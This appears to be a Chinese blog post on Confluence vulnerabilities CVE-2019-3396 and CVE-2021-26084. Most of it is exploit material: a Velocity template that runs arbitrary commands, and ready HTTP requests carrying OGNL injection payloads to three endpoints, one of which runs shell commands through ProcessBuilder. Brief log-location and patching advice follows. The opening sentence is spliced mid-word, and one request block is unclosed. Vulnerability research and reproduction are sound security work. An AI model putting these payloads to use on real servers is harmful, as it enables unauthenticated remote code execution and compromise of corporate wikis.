大柚子

这世界不过如此

一、概述

Confluence Server 和 Data Center 中的 Widget Connector 中存在服Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。

1、其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。

二、影响版本

1、CVE-2019-3396

  • version < 6.6.12
  • 6.7.0 <= version < 6.12.3
  • 6.13.0 <= version < 6.13.3
  • 6.14.0 <= version < 6.14.2

2、CVE-2021-26084

  • version < 6.13.23
  • 6.14.0 ≤ version < 7.4.11
  • 7.5.0 ≤ version < 7.11.5
  • 7.12.0 ≤ version < 7.12.5

三、漏洞复现

CVE-2019-3396

1、网上利用的脚本很多,我这里就贴部分利用脚本

可参考:

https://xz.aliyun.com/t/10736

(1)控制vm模板中的内容造成模板注入


rce.vm 内容如下:
#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
    $scan.next()
#end

这里使用ftp协议,python -m pyftpdlib -p 8888

2、CVE-2021-26084

利用方式可参考:https://www.ddosi.org/cve-2021-26084/


## 漏洞利用

有多个接口可以触发这个OGNL表达式注入漏洞。

### /pages/doenterpagevariables.action

这个接口不需要登录即可利用,发送如下数据包,即可看到`233*233`已被执行:

```
POST /pages/doenterpagevariables.action HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027
```



执行任意命令:

```
queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027
```



### /pages/createpage-entervariables.action

这个路径也不需要用户登录:

```
POST /pages/createpage-entervariables.action HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027
```

### /pages/createpage.action

这个接口需要一个可以创建页面的用户权限:

```
GET /pages/createpage.action?spaceKey=EX&amp;src=quick-create&amp;queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027 HTTP/1.1
Host: 192.168.1.162:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.162:8090/template/custom/content-editor.vm
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=7B35600F54A9E303CE8C277ED960E1E7; seraph.confluence=524289%3A2ac32a308478b9cb9f0e351a12470faa4f2a928a
Connection: close

四、应急响应

1、日志侧排查

(1)找到 Confluence 的日志文件
这部分内容对 Confluence 的默认日志表现进行描述并且假设你没有对 Confluence 的默认日志配置进行修改。为了统一在不同平台中的日志输出,Confluence 使用 atlassian-confluence.log 为主要日志,而不使用应用服务器日志。

  • 当你启动 Confluence 的时候,日志实体将会发送日志直到 Confluence 完全初始化完成。任何在服务器控制台中输出的日志也会同时输出到上面描述的文件中。
  • 当启动完成后,所有的日志将会输出到 /logs/atlassian-confluence.log。例如: c:/confluence/data/logs/atlassian-confluence.log。

请注意,默认的位置位于 Confluence 的 home 目录中(home directory)而不是在应用服务器的日志目录中的。home 目录的路径可以在 /confluence/WEB-INF/classes/confluence-init.properties 中指定。

(2)找到 Confluence 的日志配置文件
有关 Confluence 和 Synchrony 的日志表现定义在下面的属性文件:
/confluence/WEB-INF/classes/log4j.properties

这个文件是标准的 Logj 配置文件,请参考 Apache log4j documentation 页面中的描述。


五、加固建议

1、升级到安全版本

2、如无必要,禁止开放到公网

Print Friendly, PDF & Email

发表回复

您的电子邮箱地址不会被公开。